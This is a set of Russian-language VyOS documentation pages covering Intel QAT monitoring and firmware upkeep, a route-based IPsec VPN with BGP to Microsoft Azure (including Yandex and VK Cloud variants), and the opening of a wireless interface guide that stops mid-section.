**Регулярный мониторинг QAT:**

1. Создайте скрипт ежедневной проверки состояния:

```bash
configure
set system task-scheduler task qat-daily-check executable path /config/scripts/qat-check.sh
set system task-scheduler task qat-daily-check interval 1d
commit
save
```

2. Создайте сам скрипт проверки:

```bash
cat > /config/scripts/qat-check.sh << 'EOF'
#!/bin/bash

LOG_FILE="/var/log/qat-health.log"
DATE=$(date "+%Y-%m-%d %H:%M:%S")

echo "[$DATE] QAT Health Check" >> $LOG_FILE

# Проверка статуса
STATUS=$(show system acceleration qat status | grep "Active Devices")
echo "  $STATUS" >> $LOG_FILE

# Проверка ошибок
ERRORS=$(show system acceleration qat device qat_dev0 flows | grep "Errors:")
echo "  $ERROR S" >> $LOG_FILE

# Проверка производительности
OPS=$(show system acceleration qat device qat_dev0 flows | grep "Operations/sec")
echo "  $OPS" >> $LOG_FILE

# Алерт при обнаружении проблем
if echo "$ERRORS" | grep -v "Errors: 0" > /dev/null; then
    echo "  WARNING: QAT errors detected!" >> $LOG_FILE
    # Опционально: отправка уведомления
fi

echo "" >> $LOG_FILE
EOF

chmod +x /config/scripts/qat-check.sh
```

**Проактивный мониторинг производительности:**

```bash
# Использование SNMP для мониторинга (если настроен)
configure
set service snmp community public authorization ro
set service snmp community public network 10.0.0.0/8
commit
save
```

Мониторинг через внешние системы (Zabbix, Prometheus):
- CPU Usage (OID: .1.3.6.1.4.1.2021.11)
- Network throughput
- IPsec tunnel status (custom scripts)

### Резервное копирование и восстановление

**Сохранение конфигурации с QAT:**

```bash
# Backup текущей конфигурации
save /config/backup/config-with-qat-$(date +%Y%m%d).boot

# Копирование на удаленный сервер
scp /config/backup/config-with-qat-$(date +%Y%m%d).boot user@backup-server:/backups/vyos/
```

**Восстановление после отказа QAT:**

Если QAT оборудование вышло из строя:

```bash
configure
# Отключение QAT для продолжения работы на программной криптографии
delete system acceleration qat
commit
save

# Перезапуск IPsec
restart vpn ipsec
```

Производительность снизится, но связность будет сохранена.

### Обновление firmware и драйверов

**Обновление QAT firmware:**

1. Проверка текущей версии:
   ```bash
   show system acceleration qat status | grep Firmware
   ```

2. Загрузка нового firmware с сайта производителя

3. Установка (процедура зависит от платформы):
   ```bash
   # Пример для Intel Atom C3000 Series
   sudo qat_fwupdate -d qat_dev0 -f /path/to/new_firmware.bin
   ```

4. Перезагрузка системы:
   ```bash
   reboot now
   ```

**Обновление VyOS с сохранением QAT:**

```bash
# Перед обновлением сохраните конфигурацию
save

# Добавьте новый образ VyOS
add system image <URL_to_new_image>

# После перезагрузки проверьте QAT
show system acceleration qat status

# Если QAT не работает, переустановите драйвер
# (обычно автоматически при загрузке нового ядра)
```

### Безопасность

**Рекомендации по безопасности при использовании QAT:**

1. **Обновляйте firmware регулярно**
   - Производители выпускают обновления безопасности
   - Проверяйте релиз-ноты на наличие CVE

2. **Мониторинг аномалий**
   - Резкое падение производительности может указывать на атаку
   - Необычно высокий уровень ошибок QAT

3. **Логирование**
   ```bash
   configure
   set system syslog global facility all level info
   set system syslog global facility security level warning
   commit
   save
   ```

4. **Ограничение доступа к статистике QAT**
   - Статистика может раскрыть информацию о трафике
   - Ограничьте доступ к командам show через RBAC (если используется)

## Дополнительные ресурсы

### Официальная документация

- **VyOS Documentation**: https://docs.vyos.io/
- **Intel QAT Documentation**: https://www.intel.com/content/www/us/en/architecture-and-technology/intel-quick-assist-technology-overview.html
- **Intel QAT Software**: https://github.com/intel/QAT_Engine
- **strongSwan QAT Plugin**: https://wiki.strongswan.org/projects/strongswan/wiki/QAT

### Поддержка оборудования

- **Intel Atom C3000 Series**: https://ark.intel.com/content/www/us/en/ark/products/series/95217/intel-atom-processor-c3000-series.html
- **Intel Xeon Scalable Processors**: https://www.intel.com/content/www/us/en/products/docs/processors/xeon/xeon-scalable-processors.html

### Сообщество и поддержка

- **VyOS Community Forum**: https://forum.vyos.io/
- **VyOS Slack**: https://slack.vyos.io/
- **Yandex Cloud Support**: https://cloud.yandex.ru/docs/support/
- **VK Cloud Support**: https://mcs.mail.ru/help/

### Инструменты тестирования

- **iperf3**: Тестирование пропускной способности сети
  ```bash
  sudo apt install iperf3  # На тестовых машинах
  ```

- **OpenSSL**: Бенчмаркинг криптографических операций
  ```bash
  openssl speed -evp aes-256-gcm
  ```

- **ping с большим размером пакета**: Тест задержки
  ```bash
  ping -s 1400 -c 100 10.0.2.10
  ```

## Заключение

Аппаратное ускорение криптографических операций в VyOS обеспечивает значительное повышение производительности для VPN и IPsec соединений. Intel QAT предоставляет наибольший прирост производительности (до 3х раз), в то время как AES-NI обеспечивает хорошее ускорение в виртуализированных средах и на процессорах без выделенных криптографических модулей.

### Ключевые выводы

1. **Intel QAT** - лучший выбор для высоконагруженных VPN-шлюзов на bare-metal серверах
2. **AES-NI** - оптимальное решение для виртуализированных сред (Yandex Cloud, VK Cloud VMs)
3. **Алгоритмы AES-GCM** обеспечивают лучшую производительность с аппаратным ускорением
4. **Регулярный мониторинг** QAT необходим для обеспечения стабильной работы
5. **Резервная программная криптография** обеспечивает работоспособность при отказе QAT

### Рекомендуемая конфигурация

**Для bare-metal с QAT (VK Cloud, dedicated):**
- Включите `set system acceleration qat`
- Используйте AES-256-GCM с SHA256
- Настройте мониторинг QAT
- Регулярно обновляйте firmware

**Для виртуализированных сред (Yandex Cloud):**
- Используйте AES-256-GCM (автоматическое использование AES-NI)
- Выбирайте ВМ с современными процессорами
- Рассмотрите ChaCha20-Poly1305 для лучшей программной производительности

**Для гибридных сценариев:**
- Настройте оба алгоритма в порядке приоритета
- Обеспечьте fallback на программную криптографию
- Используйте одинаковые алгоритмы на обоих концах туннеля

Следуя рекомендациям из этого руководства, вы сможете максимально эффективно использовать аппаратное ускорение в VyOS и обеспечить высокую производительность вашей сетевой инфраструктуры.


---

# Site-to-Site VPN to Microsoft Azure с BGP

Source: https://opennix.org/docs/vyos/examples/vpn-azure/


Route-Based Site-to-Site VPN между VyOS и Microsoft Azure Virtual Network Gateway с динамической маршрутизацией через BGP over IKEv2/IPsec.

## Описание сценария

### Use Case

Подключение on-premises сети (или VyOS в другом облаке) к Microsoft Azure через защищенный IPsec туннель с автоматическим обменом маршрутами через BGP.

**Применимость**:
- Hybrid cloud deployments (Yandex Cloud ↔ Azure, VK Cloud ↔ Azure)
- On-premises datacenter ↔ Azure
- Multi-cloud architectures
- Disaster recovery scenarios
- Cloud migration (phased approach)

### Преимущества Route-Based VPN с BGP

- **Динамическая маршрутизация**: Автоматический обмен маршрутами через BGP
- **Масштабируемость**: Легко добавлять новые подсети без изменения IPsec config
- **Failover**: Автоматическое переключение при добавлении redundant tunnels
- **Гибкость**: Поддержка сложных топологий (Hub-and-Spoke, mesh)

## Топология сети

```
┌─────────────────────────────────────────────────────────────────┐
│                     Internet / Public WAN                        │
└──────────────────────────┬──────────────────────────────────────┘
                           │
              ┌────────────┴────────────┐
              │                         │
      ┌───────▼────────┐        ┌──────▼────────────┐
      │   VyOS Router  │        │  Azure VNet GW    │
      │                │        │                   │
      │ Public IP:     │        │ Public IP:        │
      │ 198.51.100.3   │        │ 203.0.113.2       │
      │                │        │                   │
      │ VTI: 10.10.1.5 │◄──────►│ BGP: 10.0.0.4     │
      │ AS 64499       │  IPsec │ AS 65540          │
      └───────┬────────┘  BGP   └──────┬────────────┘
              │                        │
      ┌───────▼────────┐        ┌──────▼────────────┐
      │  On-Premises   │        │   Azure VNet      │
      │   Network      │        │                   │
      │ 10.10.0.0/16   │        │  10.0.0.0/16      │
      │                │        │                   │
      │ LAN: eth1      │        │  Subnet:          │
      │ 10.10.0.5      │        │  10.0.0.0/24      │
      └────────────────┘        └───────────────────┘
```

### Параметры конфигурации

| Компонент | VyOS (On-Premises) | Azure |
|-----------|-------------------|-------|
| **Public IP** | 198.51.100.3 | 203.0.113.2 |
| **Private Network** | 10.10.0.0/16 | 10.0.0.0/16 |
| **VTI/BGP IP** | 10.10.1.5/32 | 10.0.0.4/32 |
| **BGP ASN** | 64499 | 65540 |
| **IKE Version** | IKEv2 | IKEv2 |
| **Pre-Shared Key** | ch00s3-4-s3cur3-psk | ch00s3-4-s3cur3-psk |
| **IPsec Mode** | Route-Based (VTI) | Route-Based |

## Конфигурация Azure

### 1. Создание Virtual Network Gateway

#### Через Azure Portal

1. Перейдите в **Virtual Network Gateways** → **Create**

2. **Basics**:
   ```
   Resource Group: rg-azure-vpn
   Name: vng-vyos-site
   Region: East US
   Gateway type: VPN
   VPN type: Route-based
   SKU: VpnGw1 (или выше для production)
   Virtual network: vnet-azure-main (10.0.0.0/16)
   ```

3. **Gateway subnet** (если не создан):
   ```
   Subnet name: GatewaySubnet (обязательное имя)
   Address range: 10.0.255.0/27
   ```

4. **Public IP**:
   ```
   Public IP address name: pip-vng-vyos
   Public IP type: Basic или Standard
   Assignment: Dynamic или Static
   ```

5. Wait for deployment (~30-45 minutes)

#### Через Azure CLI

```bash
# Создать Resource Group
az group create --name rg-azure-vpn --location eastus

# Создать Virtual Network
az network vnet create \
  --resource-group rg-azure-vpn \
  --name vnet-azure-main \
  --address-prefix 10.0.0.0/16 \
  --subnet-name subnet-main \
  --subnet-prefix 10.0.0.0/24

# Создать Gateway Subnet
az network vnet subnet create \
  --resource-group rg-azure-vpn \
  --vnet-name vnet-azure-main \
  --name GatewaySubnet \
  --address-prefix 10.0.255.0/27

# Создать Public IP
az network public-ip create \
  --resource-group rg-azure-vpn \
  --name pip-vng-vyos \
  --allocation-method Static \
  --sku Standard

# Создать Virtual Network Gateway
az network vnet-gateway create \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --public-ip-address pip-vng-vyos \
  --vnet vnet-azure-main \
  --gateway-type Vpn \
  --vpn-type RouteBased \
  --sku VpnGw1 \
  --bgp-asn 65540 \
  --no-wait

# Проверить статус создания
az network vnet-gateway show \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --query "provisioningState"
```

### 2. Получить Azure BGP IP и Public IP

```bash
# Получить Public IP
az network public-ip show \
  --resource-group rg-azure-vpn \
  --name pip-vng-vyos \
  --query "ipAddress" -o tsv
# Output: 203.0.113.2

# Получить BGP Peer IP
az network vnet-gateway show \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --query "bgpSettings.bgpPeeringAddress" -o tsv
# Output: 10.0.0.4
```

### 3. Создать Local Network Gateway (представляет VyOS)

#### Azure Portal

1. **Local Network Gateways** → **Create**

2. Configuration:
   ```
   Resource Group: rg-azure-vpn
   Name: lng-vyos-onprem
   Endpoint: IP address
   IP address: 198.51.100.3 (VyOS public IP)
   Address Space: 10.10.0.0/16 (on-premises network)
   ```

3. **BGP Settings**:
   ```
   Configure BGP settings: Yes
   Autonomous system number (ASN): 64499
   BGP peer IP address: 10.10.1.5
   ```

#### Azure CLI

```bash
az network local-gateway create \
  --resource-group rg-azure-vpn \
  --name lng-vyos-onprem \
  --gateway-ip-address 198.51.100.3 \
  --address-prefixes 10.10.0.0/16 \
  --bgp-asn 64499 \
  --bgp-peering-address 10.10.1.5
```

### 4. Создать VPN Connection

#### Azure Portal

1. **Virtual Network Gateway** → **Connections** → **Add**

2. Configuration:
   ```
   Name: conn-vyos-azure
   Connection type: Site-to-site (IPsec)
   Virtual network gateway: vng-vyos-site
   Local network gateway: lng-vyos-onprem
   Shared key (PSK): ch00s3-4-s3cur3-psk
   ```

3. **BGP**:
   ```
   Enable BGP: Yes
   ```

4. **IKE Protocol**:
   ```
   IKE Protocol: IKEv2
   ```

#### Azure CLI

```bash
az network vpn-connection create \
  --resource-group rg-azure-vpn \
  --name conn-vyos-azure \
  --vnet-gateway1 vng-vyos-site \
  --local-gateway2 lng-vyos-onprem \
  --shared-key "ch00s3-4-s3cur3-psk" \
  --enable-bgp
```

## Конфигурация VyOS

### Полная рабочая конфигурация

```bash
configure

# Системные настройки
set system host-name vyos-azure-vpn
set system time-zone Europe/Moscow

# WAN интерфейс (должен иметь public IP или NAT)
set interfaces ethernet eth0 address '198.51.100.3/24'
set interfaces ethernet eth0 description 'WAN'

# LAN интерфейс (on-premises network)
set interfaces ethernet eth1 address '10.10.0.5/16'
set interfaces ethernet eth1 description 'LAN'

# ===== IPsec Configuration =====

# IKE Group (Phase 1)
set vpn ipsec ike-group AZURE lifetime '28800'
set vpn ipsec ike-group AZURE proposal 1 encryption 'aes256'
set vpn ipsec ike-group AZURE proposal 1 hash 'sha256'
set vpn ipsec ike-group AZURE proposal 1 dh-group '14'
set vpn ipsec ike-group AZURE key-exchange 'ikev2'
set vpn ipsec ike-group AZURE dead-peer-detection action 'restart'
set vpn ipsec ike-group AZURE dead-peer-detection interval '30'
set vpn ipsec ike-group AZURE dead-peer-detection timeout '120'

# ESP Group (Phase 2)
set vpn ipsec esp-group AZURE lifetime '3600'
set vpn ipsec esp-group AZURE mode 'tunnel'
set vpn ipsec esp-group AZURE proposal 1 encryption 'aes256'
set vpn ipsec esp-group AZURE proposal 1 hash 'sha256'
set vpn ipsec esp-group AZURE pfs 'dh-group14'

# VTI Interface (Virtual Tunnel Interface)
set interfaces vti vti1 address '10.10.1.5/32'
set interfaces vti vti1 description 'Azure VPN Tunnel'
set interfaces vti vti1 ip adjust-mss '1350'
set interfaces vti vti1 ip disable-forwarding

# IPsec Authentication
set vpn ipsec authentication psk azure id '198.51.100.3'
set vpn ipsec authentication psk azure id '203.0.113.2'
set vpn ipsec authentication psk azure secret 'ch00s3-4-s3cur3-psk'

# IPsec Site-to-Site Peer
set vpn ipsec site-to-site peer 203.0.113.2 description 'Azure VNet Gateway'
set vpn ipsec site-to-site peer 203.0.113.2 authentication mode 'pre-shared-secret'
set vpn ipsec site-to-site peer 203.0.113.2 authentication pre-shared-secret 'ch00s3-4-s3cur3-psk'
set vpn ipsec site-to-site peer 203.0.113.2 connection-type 'respond'
set vpn ipsec site-to-site peer 203.0.113.2 ike-group 'AZURE'
set vpn ipsec site-to-site peer 203.0.113.2 ikev2-reauth 'yes'
set vpn ipsec site-to-site peer 203.0.113.2 local-address '198.51.100.3'
set vpn ipsec site-to-site peer 203.0.113.2 vti bind 'vti1'
set vpn ipsec site-to-site peer 203.0.113.2 vti esp-group 'AZURE'

# ===== BGP Configuration =====

# BGP Router
set protocols bgp system-as '64499'
set protocols bgp parameters router-id '10.10.0.5'
set protocols bgp parameters log-neighbor-changes

# BGP Neighbor (Azure VNet Gateway)
set protocols bgp neighbor 10.0.0.4 description 'Azure VNet Gateway BGP'
set protocols bgp neighbor 10.0.0.4 remote-as '65540'
set protocols bgp neighbor 10.0.0.4 address-family ipv4-unicast
set protocols bgp neighbor 10.0.0.4 address-family ipv4-unicast soft-reconfiguration inbound
set protocols bgp neighbor 10.0.0.4 ebgp-multihop '2'
set protocols bgp neighbor 10.0.0.4 update-source 'vti1'
set protocols bgp neighbor 10.0.0.4 timers holdtime '30'
set protocols bgp neighbor 10.0.0.4 timers keepalive '10'

# Анонсировать локальную сеть в Azure
set protocols bgp address-family ipv4-unicast network '10.10.0.0/16'

# Static route для Azure BGP peer (через VTI)
set protocols static route 10.0.0.4/32 interface vti1

# ===== NAT Configuration (если требуется) =====

# Exclude VPN traffic from NAT
set nat source rule 10 outbound-interface name 'eth0'
set nat source rule 10 source address '10.10.0.0/16'
set nat source rule 10 destination address '10.0.0.0/16'
set nat source rule 10 exclude

# NAT для остального интернет трафика
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '10.10.0.0/16'
set nat source rule 100 translation address 'masquerade'

# ===== Firewall (опционально, но рекомендуется) =====

# Allow IPsec на WAN
set firewall name WAN_LOCAL default-action 'drop'
set firewall name WAN_LOCAL rule 10 action 'accept'
set firewall name WAN_LOCAL rule 10 state established
set firewall name WAN_LOCAL rule 10 state related
set firewall name WAN_LOCAL rule 20 action 'accept'
set firewall name WAN_LOCAL rule 20 protocol 'udp'
set firewall name WAN_LOCAL rule 20 destination port '500'
set firewall name WAN_LOCAL rule 20 description 'IKE'
set firewall name WAN_LOCAL rule 21 action 'accept'
set firewall name WAN_LOCAL rule 21 protocol 'udp'
set firewall name WAN_LOCAL rule 21 destination port '4500'
set firewall name WAN_LOCAL rule 21 description 'NAT-T'
set firewall name WAN_LOCAL rule 22 action 'accept'
set firewall name WAN_LOCAL rule 22 protocol 'esp'
set firewall name WAN_LOCAL rule 22 description 'ESP'
set firewall name WAN_LOCAL rule 30 action 'accept'
set firewall name WAN_LOCAL rule 30 protocol 'icmp'

set interfaces ethernet eth0 firewall local name 'WAN_LOCAL'

commit
save
```

## Проверка конфигурации

### 1. Проверка IPsec туннеля

```bash
# Проверить статус IPsec
show vpn ipsec sa

# Должен быть output:
# Connection              State    Uptime    Bytes In/Out
# peer-203.0.113.2        up       00h05m22s    0.0 B/0.0 B
#   vti1                  up       00h05m22s    0.0 B/0.0 B

# Детальная информация
show vpn ipsec sa detail

# Проверить IKE SA
show vpn ike sa
```

### 2. Проверка BGP

```bash
# Проверить BGP neighbors
show bgp summary

# Output должен показывать:
# Neighbor        V    AS    MsgRcvd    MsgSent    Up/Down    State
# 10.0.0.4        4    65540    45         47      00:21:32   Established

# Проверить полученные маршруты от Azure
show bgp neighbors 10.0.0.4 received-routes

# Проверить анонсированные маршруты в Azure
show bgp neighbors 10.0.0.4 advertised-routes

# Проверить routing table
show ip route

# Должны быть маршруты через vti1:
# B>* 10.0.0.0/16 [20/0] via 10.0.0.4, vti1, weight 1, 00:20:15
```

### 3. Проверка connectivity

```bash
# Ping Azure BGP peer через VTI
ping 10.0.0.4 source-address 10.10.1.5

# Ping Azure VM (например, 10.0.0.10)
ping 10.0.0.10 source-address 10.10.0.5

# Traceroute
traceroute 10.0.0.10
```

### 4. Проверка на Azure стороне

```bash
# Azure CLI - проверить connection status
az network vpn-connection show \
  --resource-group rg-azure-vpn \
  --name conn-vyos-azure \
  --query "connectionStatus"
# Output: Connected

# Проверить BGP peers
az network vnet-gateway list-bgp-peer-status \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --query "value[].{Peer:neighbor,AS:asn,State:state,RoutesReceived:routesReceived}"

# Проверить learned routes
az network vnet-gateway list-learned-routes \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --query "value[].{Network:network,NextHop:nextHop,Origin:origin}" -o table
```

## Интеграция с облачными платформами

### Yandex Cloud как on-premises сторона

#### Topology

```
Azure VNet (10.0.0.0/16)
        │
        │ IPsec + BGP
        │
VyOS в Yandex Cloud (10.128.0.0/24)
        │
Yandex Cloud VPC Networks
```

#### Особенности

1. **VyOS VM в Yandex Cloud**:
   ```bash
   # Public IP от Yandex Cloud
   # Elastic IP или NAT Gateway

   # WAN интерфейс получает адрес из Yandex Cloud subnet
   set interfaces ethernet eth0 address '10.128.0.10/24'
   set interfaces ethernet eth0 description 'Yandex Cloud WAN'

   # Static route для default gateway
   set protocols static route 0.0.0.0/0 next-hop 10.128.0.1
   ```

2. **Yandex Cloud routing**:
   ```bash
   # Добавить static route в Yandex Cloud routing table
   # Destination: 10.0.0.0/16 (Azure)
   # Next hop: 10.128.0.10 (VyOS internal IP)

   # Через yc CLI
   yc vpc route-table create \
     --name azure-routes \
     --network-name yc-network \
     --route destination=10.0.0.0/16,next-hop=10.128.0.10
   ```

3. **Security Groups**:
   ```bash
   # Разрешить IPsec на VyOS VM
   # Inbound rules:
   # - UDP 500 (IKE)
   # - UDP 4500 (NAT-T)
   # - Protocol 50 (ESP)
   ```

#### Yandex Cloud CLI команды

```bash
# Создать VM для VyOS
yc compute instance create \
  --name vyos-azure-gw \
  --zone ru-central1-a \
  --network-interface subnet-name=default-ru-central1-a,nat-ip-version=ipv4 \
  --create-boot-disk image-folder-id=standard-images,image-family=vyos \
  --ssh-key ~/.ssh/id_rsa.pub

# Получить public IP
yc compute instance get vyos-azure-gw --format json | jq -r '.network_interfaces[0].primary_v4_address.one_to_one_nat.address'

# Создать static route для Azure network
yc vpc route-table create \
  --name route-to-azure \
  --network-name default \
  --route destination=10.0.0.0/16,next-hop=10.128.0.10

# Применить route table к subnet
yc vpc subnet update default-ru-central1-a \
  --route-table-name route-to-azure
```

### VK Cloud как on-premises сторона

#### Topology

```
Azure VNet (10.0.0.0/16)
        │
        │ IPsec + BGP
        │
VyOS в VK Cloud (10.0.10.0/24)
        │
VK Cloud Private Networks
```

#### Особенности

1. **VyOS VM в VK Cloud**:
   ```bash
   # Floating IP от VK Cloud

   # WAN интерфейс
   set interfaces ethernet eth0 address '10.0.10.10/24'
   set interfaces ethernet eth0 description 'VK Cloud WAN'

   # Default route
   set protocols static route 0.0.0.0/0 next-hop 10.0.10.1
   ```

2. **VK Cloud routing**:
   - Добавить static route через VK Cloud portal
   - Destination: 10.0.0.0/16
   - Next hop: 10.0.10.10 (VyOS IP)

3. **Security Groups**:
   - Разрешить UDP 500, 4500 и ESP protocol

## Troubleshooting

### Проблема: IPsec туннель не поднимается

**Симптомы**:
```bash
show vpn ipsec sa
# Connection state: down
```

**Решение**:

1. Проверить network connectivity:
```bash
ping 203.0.113.2
# Должен отвечать Azure gateway
```

2. Проверить firewall rules:
```bash
# Убедиться что разрешены UDP 500, 4500, ESP
show firewall name WAN_LOCAL

# Проверить Azure NSG (Network Security Group)
az network nsg rule list \
  --resource-group rg-azure-vpn \
  --nsg-name nsg-vnet-main \
  --query "[].{Name:name,Port:destinationPortRange,Protocol:protocol}" -o table
```

3. Проверить Pre-Shared Key:
```bash
# VyOS
show vpn ipsec authentication psk

# Azure - через portal или CLI
az network vpn-connection shared-key show \
  --resource-group rg-azure-vpn \
  --connection-name conn-vyos-azure
```

4. Проверить logs:
```bash
# VyOS
show log vpn ipsec

# Включить debug (временно)
set vpn ipsec logging log-modes ike
set vpn ipsec logging log-modes esp
set vpn ipsec logging log-level 2
commit

# После troubleshooting отключить
delete vpn ipsec logging
commit
```

### Проблема: BGP session не устанавливается

**Симптомы**:
```bash
show bgp summary
# Neighbor state: Idle или Active
```

**Решение**:

1. Проверить IPsec туннель (должен быть UP):
```bash
show vpn ipsec sa
```

2. Проверить static route для BGP peer:
```bash
show ip route 10.0.0.4
# Должен быть route через vti1
```

3. Проверить BGP configuration:
```bash
show configuration commands | grep bgp

# Убедиться в правильности:
# - remote-as (Azure = 65540)
# - neighbor IP (10.0.0.4)
# - update-source vti1
# - ebgp-multihop 2
```

4. Ping Azure BGP peer:
```bash
ping 10.0.0.4 interface vti1
```

5. Проверить BGP на Azure:
```bash
az network vnet-gateway list-bgp-peer-status \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site
```

### Проблема: BGP established, но нет маршрутов

**Симптомы**:
```bash
show bgp neighbors 10.0.0.4 received-routes
# Empty или мало маршрутов
```

**Решение**:

1. Проверить advertised routes:
```bash
show bgp neighbors 10.0.0.4 advertised-routes
```

2. Проверить route-map/prefix-list (если настроены):
```bash
show policy

# Убедиться что нет фильтров блокирующих routes
```

3. Проверить Azure routes:
```bash
az network vnet-gateway list-learned-routes \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --query "value[].{Network:network,NextHop:nextHop,Origin:origin}" -o table
```

4. Проверить BGP network statements:
```bash
show configuration commands | grep "protocols bgp.*network"

# Убедиться что анонсируются нужные сети
```

### Проблема: Высокая latency или packet loss

**Решение**:

1. Проверить MTU:
```bash
# VyOS - должен быть 1350 или меньше на VTI
show interfaces vti vti1

# Если нужно изменить
set interfaces vti vti1 mtu 1350
set interfaces vti vti1 ip adjust-mss 1310
commit
```

2. Проверить throughput:
```bash
# iperf3 test через tunnel
# На Azure VM
iperf3 -s

# На VyOS LAN client
iperf3 -c 10.0.0.10 -t 60
```

3. Проверить Azure Gateway SKU:
```bash
az network vnet-gateway show \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --query "sku.name"

# Upgrade to higher SKU if needed (VpnGw2, VpnGw3)
az network vnet-gateway update \
  --resource-group rg-azure-vpn \
  --name vng-vyos-site \
  --sku VpnGw2
```

## Best Practices

### Security

1. **Strong Pre-Shared Key**:
   ```bash
   # Generate strong PSK
   openssl rand -base64 32
   ```

2. **Certificate authentication** (alternative to PSK):
   ```bash
   # Более безопасно, но сложнее в настройке
   # Azure поддерживает certificate-based auth
   ```

3. **Firewall rules**:
   ```bash
   # Минимальный доступ через VPN
   set firewall name VPN_IN default-action 'drop'
   set firewall name VPN_IN rule 10 action 'accept'
   set firewall name VPN_IN rule 10 state established
   set firewall name VPN_IN rule 10 state related
   # Добавить только необходимые правила
   ```

### Performance

1. **MTU optimization**:
   ```bash
   # VTI MTU должен учитывать IPsec overhead
   # Ethernet MTU (1500) - IPsec overhead (~80) = 1420
   # Рекомендуется: 1350-1400
   set interfaces vti vti1 mtu 1400
   set interfaces vti vti1 ip adjust-mss 1360
   ```

2. **BGP timers**:
   ```bash
   # Faster failover detection
   set protocols bgp neighbor 10.0.0.4 timers holdtime '30'
   set protocols bgp neighbor 10.0.0.4 timers keepalive '10'
   ```

3. **Azure Gateway SKU**:
   - VpnGw1: До 650 Mbps, 30 tunnels
   - VpnGw2: До 1 Gbps, 30 tunnels
   - VpnGw3: До 1.25 Gbps, 30 tunnels

### Monitoring

1. **VyOS monitoring**:
   ```bash
   # Проверять статус регулярно
   show vpn ipsec sa
   show bgp summary

   # Logs
   show log vpn

   # Traffic stats
   show interfaces vti vti1
   ```

2. **Azure monitoring**:
   ```bash
   # Azure Monitor metrics
   # - VPN Gateway bandwidth
   # - Tunnel ingress/egress bytes
   # - BGP peer status

   # Alerts на disconnect
   az monitor metrics alert create \
     --name vpn-disconnect-alert \
     --resource-group rg-azure-vpn \
     --scopes $(az network vpn-connection show -g rg-azure-vpn -n conn-vyos-azure --query id -o tsv) \
     --condition "avg tunnel_connectivity_status < 1" \
     --window-size 5m \
     --evaluation-frequency 1m
   ```

3. **Automated testing**:
   ```bash
   # Ping test script
   #!/bin/bash
   while true; do
     ping -c 1 10.0.0.10 > /dev/null
     if [ $? -ne 0 ]; then
       echo "$(date): VPN connectivity lost!" | mail -s "VPN Alert" admin@example.com
     fi
     sleep 60
   done
   ```

### High Availability

Для production рекомендуется использовать redundant setup:
- [Redundant VPN to Azure](/docs/vyos/examples/vpn-azure-redundant/) - Dual tunnel configuration

## Дополнительные ресурсы

- [Azure VPN Gateway Documentation](https://docs.microsoft.com/en-us/azure/vpn-gateway/)
- [VyOS IPsec Documentation](https://docs.vyos.io/en/latest/configuration/vpn/ipsec.html)
- [BGP Configuration Guide](/docs/vyos/routing/vyos-bgp/)
- [Redundant Azure VPN Setup](/docs/vyos/examples/vpn-azure-redundant/)

---

**Tested on**: VyOS 1.4 (Sagitta LTS), VyOS 1.5 (Circinus), Azure VPN Gateway (VpnGw1, VpnGw2)
**Last updated**: 2025-10-14


---

# Wireless (WLAN/WiFi) интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-wlan/


Беспроводные интерфейсы в VyOS позволяют создавать точки доступа (Access Point) или подключаться к существующим беспроводным сетям (Station mode).

## Обзор

VyOS поддерживает следующие режимы работы беспроводных интерфейсов:

- **Access Point (WAP)** - предоставление беспроводного доступа клиентским устройствам
- **Station (Client)** - подключение к существующей беспроводной сети
- **Monitor** - пассивный мониторинг беспроводного трафика

**Поддерживаемые стандарты**:
- IEEE 802.11a (5 GHz)
- IEEE 802.11b/g (2.4 GHz)
- IEEE 802.11n (2.4/5 GHz)
- IEEE 802.11ac (5 GHz)
- IEEE 802.11ax (2.4/5/6 GHz, WiFi 6)

**Безопасность**:
- WPA/WPA2-Personal (PSK)
- WPA3-Personal (SAE)
- WPA/WPA2-Enterprise (802.1X RADIUS)
- Management Frame Protection (IEEE 802.11w)

## Регуляторный домен

**ВАЖНО**: Перед настройкой беспроводных интерфейсов необходимо установить код страны (regulatory domain).

### Установка кода страны

```
set system wireless country-code ru
commit
```

Коды стран (ISO 3166-1 alpha-2):
- `ru` - Россия
- `us` - США
- `de` - Германия
- `gb` - Великобритания
- `fr` - Франция
- `jp` - Япония
- `cn` - Китай

Код страны определяет:
- Разрешенные частоты и каналы
- Максимальную мощность передатчика
- Требования DFS (Dynamic Frequency Selection)
- Разрешенные стандарты (802.11d)

## Access Point режим

### Базовая конфигурация

Простая точка доступа с WPA2:

```
set system wireless country-code ru
set interfaces wireless wlan0 type access-point
set interfaces wireless wlan0 address 192.168.10.1/24
set interfaces wireless wlan0 ssid 'MyNetwork'
set interfaces wireless wlan0 channel 6
set interfaces wireless wlan0 security wpa mode wpa2
set interfaces wireless wlan0 security wpa cipher CCMP
set interfaces wireless wlan0 security wpa passphrase 'SecurePassword123'
commit
```

### SSID

Установка имени сети:

```
set interfaces wireless wlan0 ssid 'Office-WiFi'
commit
```

**Параметры**:
- Максимальная длина: 32 символа
- Может содержать пробелы (используйте кавычки)
- UTF-8 кодировка поддерживается

Скрытый SSID (не транслируется в beacon):

```
set interfaces wireless wlan0 security wpa disable-ssid-broadcast
commit
```

### Выбор канала

2.4 GHz (802.11b/g/n):

```
set interfaces wireless wlan0 channel 1
commit
```

Доступные каналы 2.4 GHz:
- `1-14` (в зависимости от regulatory domain)
- Рекомендуемые неперекрывающиеся: 1, 6, 11

5 GHz (802.11a/n/ac/ax):

```
set interfaces wireless wlan0 channel 36
commit
```

Доступные каналы 5 GHz:
- `36, 40, 44, 48` - UNII-1 (indoor)
- `52, 56, 60, 64` - UNII-2 (indoor, требует DFS)
- `100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144` - UNII-2 Extended (требует DFS)
- `149, 153, 157, 161, 165` - UNII-3 (outdoor)

6 GHz (802.11ax, WiFi 6E):

```
set interfaces wireless wlan0 channel 1
commit
```

Каналы 6 GHz: `1-233`

Автоматический выбор канала (ACS):

```
set interfaces wireless wlan0 channel 0
commit
```

### Стандарт беспроводной связи

802.11b (2.4 GHz, до 11 Mbps):

```
